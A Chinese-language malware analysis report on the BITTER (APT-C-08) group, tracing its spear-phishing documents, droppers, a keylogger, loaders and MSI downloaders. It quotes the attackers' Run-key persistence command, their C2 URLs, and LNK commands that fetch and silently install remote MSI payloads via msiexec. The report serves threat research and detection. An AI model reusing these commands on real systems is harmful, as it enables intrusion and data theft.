BITTER又名蔓灵花、APT-C-08,疑似来自南亚地区,主要攻击目标为巴基斯坦和中国。BITTER最早的攻击可追溯到2013年11月份,活跃高峰期为2015年至2016年。
BITTER 主要针对政府、军工业、电力、核等单位进行攻击,窃取敏感资料,具有强烈的政治背景。该组织最早在2016由美国安全公司Forcepoint进行了披露,并且命名为“BITTER”,同年360也跟进发布了分析报告,命名为“蔓灵花”。
由于该组织早期特马数据包头部以"BITTER"作为标识,因此国外厂商将其命名为BITTER,但是值得注意的是,自从该活动被曝光后,该组织就修改了数据包结构,不再以"BITTER"作为数据包的标识,改为五字节的随机字符进行代替。
在本文中,笔者初略的对BITTER一小类的样本进行了分析和总结。但因资源有限、C2存活时间短等原因,大部分样本都是历史样本,目前还有很多插件和后续payload未获取到或是还未来得及分析。也没有比较好的机会分析通信协议和C2的基础架构。但是管中窥豹,我们可以通过已有的一些资源去了解和推测,一步步揭开BIITER的神秘面纱。
根据红雨滴团队的APT_Digital_Weapon
2020 年度的攻击中,BITTER主要是使用了带0199远程模板注入漏洞的文档来替代之前的11882类文档。后续payload还是以Win32EXE为主。PE文件擅长使用Windows、Update等文件名以迷惑用户。
根据之前的分析来看,BITTER的攻击方式主要是:
鱼叉攻击->Dropper->Downloader->后续插件、RAT、Keylogger等。
通常来说,诱饵类样本类型一般有LNK、DOCX、RAR、RTF、ZIP等。
BITTER在鱼叉攻击阶段,主要是投递带有office漏洞的恶意文档,他们似乎并不喜欢使用宏进行攻击。由于BITTER所用的这些漏洞特征比较明显,笔者个人认为这类文档的免杀性应该不如带宏的文档。
其中11882漏洞文档主要是从指定地址下载文件保存到本地加载执行。
通过脚本解析文档,得到的模板注入地址去重后如下:
hxxp://maq.com.pk/wehsd 203.124.43.227
hxxp://comglobal.com.pk/wp-content/g 203.124.44.32
hxxp://oppak.com/one/opa 203.124.44.31
hxxp://netnsiservice.net/logs/crid
hxxp://w32infinitisupports.net/win/ctfd
hxxp://quartzu.hol.es/mso/x64/x32/section/update
hxxp://liveways.pk/images/rgnd 203.124.44.48
hxxp://tusdec.org.pk/ee 203.124.44.48
hxxp://sartetextile.com/news/pq
hxxp://maq.com.pk/wehsd 203.124.43.227
hxxp://quartzu.hol.es/mso/x64/x32/section/update 213.190.6.187
hxxp://quartzu.hol.es/cretmong/tangkrdg/uplandjt 213.190.6.187
hxxp://tusdec.org.pk/ee 203.124.44.48
hxxp://oppak.com/one/eths 203.124.44.31
hxxp://hartraders.com/wp-sig 203.124.44.31
hxxp://liveways.pk/images/rgnd 203.124.44.48
BITTER早期样本WinMain如下:
经过分析,该入口点是BITTER的惯用代码:
甚至从14年的样本到20年的样本都保留了该段代码
直接以这个入口点编写yara扫描一下,效果似乎还不错
早期样本在创建窗体之后,会在WinMain最后执行一个call,所有的操作都在这个函数中执行:
样本多处使用随机数sleep以逃避早期的一些沙箱检测。和其他常见的样本不同的是,BITTER比较喜欢通过CreateSemaphoreA来防止多开而不是CreateMute.
接下来,程序会通过简单的do while 给变量赋值,然后调用一个解密函数进行解密:
这里解密出了早期的C2地址和Windows的调试路径
通过多个循环将解密之后的C:\Windows\debug\WIA\ 路径存放到多个数组中
然后循环对构造出多个WIA相关的路径
获取当前路径并截取文件名
将截取到的文件名与WIA路径拼接,同时拼接出另外两个路径:
解密出指令REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v SVC /t REG_SZ /d
接着解密出自启动的注册表键Software\\Microsoft\\Windows\\CurrentVersion\\Run
通过RegQueryValueEx查询是否存储SVC键值
由于此时未设置注册表键值,RegQueryValueEx将会返回2
然后传递到00401936函数中创建
首先创建一个输入管道和一个输出管道
获取CMD路径
创建cmd进程
PeekNamedPipe获取cmd进程返回值:
将拷贝指令传入到管道中,给cmd.exe执行,此处是将C:\Windows\debug\WIA\2.exe路径写入到开机自启动中。
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v SVC /t REG_SZ /d "C:\Windows\debug\WIA\2.exe"
设置后如下:
接着通过管道将自身拷贝到WIA目录下:
再通过两次管道操作,将原始文件拷贝到WIA目录并分别另存为svcm.exe和svcs.exe
接着再次通过管道使用cmd启动svcs.exe
至此,原始进程完毕。
svcs.exe主要是通过管道启动svcm.exe
当程序检测当前进程名是svcm.exe的时候才会执行关键功能。
网络请求信息如下,请求方式为POST,参数为用户的计算机ID //m2s_reply_u2.php?x=WIN-IHN30SD7IMB
接着通过GetLogicalDriveStringsW获取计算机上所有的磁盘信息
接着进行文件夹遍历
遍历所有文件并上传
收集到信息则会尝试请求m2s_uploads_u2.php
将收集到的所有信息上传到C2,包括文件名,文件类型和文件内容
综上,该样本请求C2为:range7.com,由于该样本具备多次释放文件的功能,有的厂商将其报毒为Dropper,但从行为上来说,更像是Trojan/Backdrop
样本hash:4b0e5c5c4e0e22f2dfeef0531e021072
CreateTime:2019-06-18
SubTime:2019-09-09
在历史样本信息中,笔者还看到了一例被标注为keylooger的样本。
样本由VC编写,有一个名为KeyEvent的导出函数
在WinMain函数中,程序首先是拼接出一些字符串,然后创建一个名为hfyuwejffkkfa的信号量:
接着程序通过CreateThread创建一个新线程, 在新线程中通过SetWindowshook设置键盘钩子,调用KeyEvent导出函数实现键盘监听。
从已有的资料(信号量、请求域名)来看,好像只有一例KeyLooger。
样本hash:806626d6e7a283efffb53b3831d53346
外层样本是一个自解压包,内含一个恶意文件dlhost.exe和一个诱饵文件<开证装期邮件.pdf>
很明显这是一起针对我国境内的鱼叉攻击,用于迷惑用户的文档如下
核心代码在释放的dlhost.exe文件中,dlhost由VC编译,但WinMain已经被抹去:
main函数中前面大部分代码都是进行解密字符串的操作:
解密之后一些比较关键的字符串信息如下:
依旧通过CreateSemaphorA来防止多开,创建的信号量为:7t56yr54r
解密出C2完整请求路径
准备请求C2:
通过Get请求将收集到的一些基本信息发送到服务器然后等待服务器返回。
目前请求的C2:162.0.229.203 已经无法响应,但是笔者根据该C2找到了几个关联的样本。
其中四个样本为sfx自解压样本,均为dlhost.exe加一个诱饵文档:
不过需要注意的是,有一个dlhost与其他三个不相同:
经过分析,较大的dlhost文件编译时间为2020-09-02
而比较小的dlhost编译时间为2020-06-30
比较之后,可以发现早期的dlhost比较简单明了,WinMain中仅仅几十行代码,并且没怎么做保护。而新版本的dlhost不仅抹去了WinMain标志,还将所有函数调用拆分写到了主函数中,但是值得关注的是,两个版本的样本创建的信号量均为:7t56yr54r
但是简单的字符串解密算还是没有改变,只不过以前是通过函数调用,现在是复写代码。
请求地址依旧为 "http://162.0.229.203/RguhsT/RguhsT/"
查询可知,162.0.229[.]203 是BITTER组织的长期资产。
综上,看起来dlhost应该是BITTER的一类加载器。可以将程序rev从C2读取回来的文件通过ShellExecuteA加载执行。
目前为止,一共发现两例使用LNK类文件进行攻击的BITTER样本,功能均为下载后续mis并安装。
样本md5:5acc8dcdc237f78946fa8b19f5120189
样本名称:25 AUG 310.pdf.lnk
CreateTime:2020-01-03
SubTime:2020-10-01
样本图标:
快捷方式target字段嵌入了如下恶意指令:
C:\Windows\System32\msiexec.exe /i http://msisspsvc.net/sgi/sgi.msi /q
根据命令可以知道,快捷方式运行后,会尝试通过msiexec安装从http://msisspsvc.net/sgi/sgi.msi下载回来的mis文件。
下载回来的mis安装包为sgi.msi,样本hash:b2cbcc1beea28ea743f1dd2829460c86
样本md5:569d721e44e1a31a53aeaa0e514ad794
样本名称:Income tax Savings for 2020-2021.lnk
CreateTime:2009-07-13(可疑)
SubTime:2020-09-04
样本图标:
同样的,该快捷方式执行之后会通过msiexec安装下载回来的安装包,命令如下:
msiexec /i https://jgcest.com/css/logs.php
下载回来的mis安装包为MsAulis.msi,样本hash:0a23faaf405c629e9202cbc90611b576
文件md5:b2cbcc1beea28ea743f1dd2829460c86
文件名:sgi.msi
CreateTime:1996-06-21(抹去)
SumTime:2020-08-19
通过LNK文件下载回来的安装包内嵌了两个文件,分别是rrt.vbs和svr.exe,其中rrt.vbs文件为一串乱码,svr.exe和上面分析老版本dlhost完全一致。
文件md5:1475df569f8a31e49a659c6d9764ae93
文件名:CERT.msi
CreateTime:1996-06-21(抹去)
SumTime:2020-10-29
虽然攻击者刻意抹去了时间戳,但是从代码风格来看,该样本应该是2020年上半年的版本:
除此之外,笔者还找到了BITTER另外两个MSI样本。
fbc56c2dadab05e78c995f57bf50bce5 ausetup.msi
31a36d4a30668a8743193e788cb2aa2b audio.msi
经过分析,两个msi解包之后,得到的是同一个文件,为dlhost更早期的版本。
该版本的dlhost是19年的版本,功能比上面看到的还要简单一些。在此样本中,创建的信号量为:
tyr65ythgtr65h5
文件md5:df0cd6ac04f08a3c46546bc238dbacb1
文件名:rt.msi
CreateTime:1996-06-21(抹去)
SumTime:2020-06-29
msi文件内嵌了一个名为cgc.exe的文件,经过分析,该文件属于BITTER的的Downloader样本。和笔者之前分析的样本几乎完全一致。
(https://www.anquanke.com/post/id/214641)
该样本的主要功能如下:
样本运行后,首先会解密一系列后面会用到的字符串
样本会在2EE0函数中检测杀软,目前看到的是检测avp.exe、Avast.exe,AVG、sophos、SAVAD
样本会判断当前的进程中是否包含了winupd,同时再次检测avp.exe,如果程序名包含了winupd则说明程序不是第一次运行,如果没有包含则说明可能是第一次运行,程序则会尝试将自身赋值到sento目录并在启动目录下创建一个快捷方式指向该文件。如果程序检测到了avp进程,即卡巴杀软,样本会创建一个开机启动的注册表执行cmd /c start %tempf% && exit
环境检测、软件检测完成之后,样本会开始网络请求,请求的内容是本地主机的一些基本信息,包括机器名,操作系统版本号,是否为管理员,木马版本号等。
尝试从C2服务器读取数据,写入本地文件并加载执行。
文件md5:0a23faaf405c629e9202cbc90611b576
文件名:MsAulis.msi
CreateTime:2009-12-11(可疑)
SumTime:2020-08-28
该msi文件中内嵌了一个C#编写的Downloader:
Downloader主要代码在Fetch类中实现
在Fetch类中,程序首先是设置了一个计时器,然后调用了getData获取一些基本信息:
getData函数中,主要是获取当前计算机的计算机名、操作系统版本、操作系统位数以及IP地址和Mac地址,并分别赋值给Fetch._1到Fetch._5
如果执行顺利,那么程序会将mac地址赋值给text变量然后赋值给Fetch._5。
在计时器函数中,会对Fetch._5变量进行判断,如果该变量为空,则说明没有获取到用户mac地址和ip地址,那么程序将会重新设置计时器启动时间并且调用getData函数尝试再次获取。
若getData函数调用结果符合预期,那么程序会通过DecryptHex解密两个预定义的变量得到请求路径。
最后通过Touch_And_Fetch函数发送请求。
预定义变量值如下:
解密后可以得到请求域名为:
"http://vdsappauthservice.net/taskshandlers/DBhandle/"
请求路径为:
"primary_main.php"
程序将解密出来的请求路径传递到Touch_And_Fetch函数中,在该函数中,首先将之前获取到的基本信息进行拼接,拼接后的信息编码后使用post的方式将其回传到C2服务器:
如果服务器成功返回,程序则会删除返回值中的特殊字符然后赋值给responseString,若返回值不为空,程序则会将返回值作为参数传递到新线程startRequestedTask中。
虽然现在C2已经无响应,但是根据startRequestedTask线程中的代码可以得知,程序将返回值转换为了数组,并且数组中的第三项(array[2])是服务器下发的指令,用于标识该获取哪个路径。
接着程序拼接根据C2下发指令得到的完整文件路径并调用GetUniqueFilePath函数查询该文件是否存在,若不存在则通过DownloadFile函数下载文件保存到本地。
最后,程序在type_1_dbt函数中创建新进程启动下载回来的文件
需要注意的是,下载的路径已经进行了重新拼接,拼接后的请求路径应该为:
"http://vdsappauthservice.net/taskshandlers/DBhandle/FileFolder/" + C2返回的文件名
笔者对该C2域名进行搜索,最后可以得知下载的文件应该是名为putty.exe的程序。
经过分析,该文件似乎不是被patch的,好像是19年3月份的putty版本。
蔓灵花(BITTER)APT组织是一个长期针对中国、巴基斯坦等国家进行攻击活动的APT组织。在本文中,我们可以初步了解到BITTER常见的一些攻击手法。也可以看到BITTER在样本中体现出来的一些不同于其他家族的地方,比如喜欢投递漏洞利用的样本而不是带宏的样本、比如喜欢使用CreateSemaphorA而不是使用CreateMutex来保证样本单例运行。比如经常在样本中穿插多个sleep来干扰行为分析。
BITTER的样本种类较多,且一直在保持更新。笔者本次只是分析了冰山一角,梳理了一些前置部分的样本。若有分析遗落或是不完全的,望各位大佬海涵。接下来会再抽时间,将一些插件和后续payload进行总结分析。
IOC就不贴啦~ 都在红雨滴的武器库。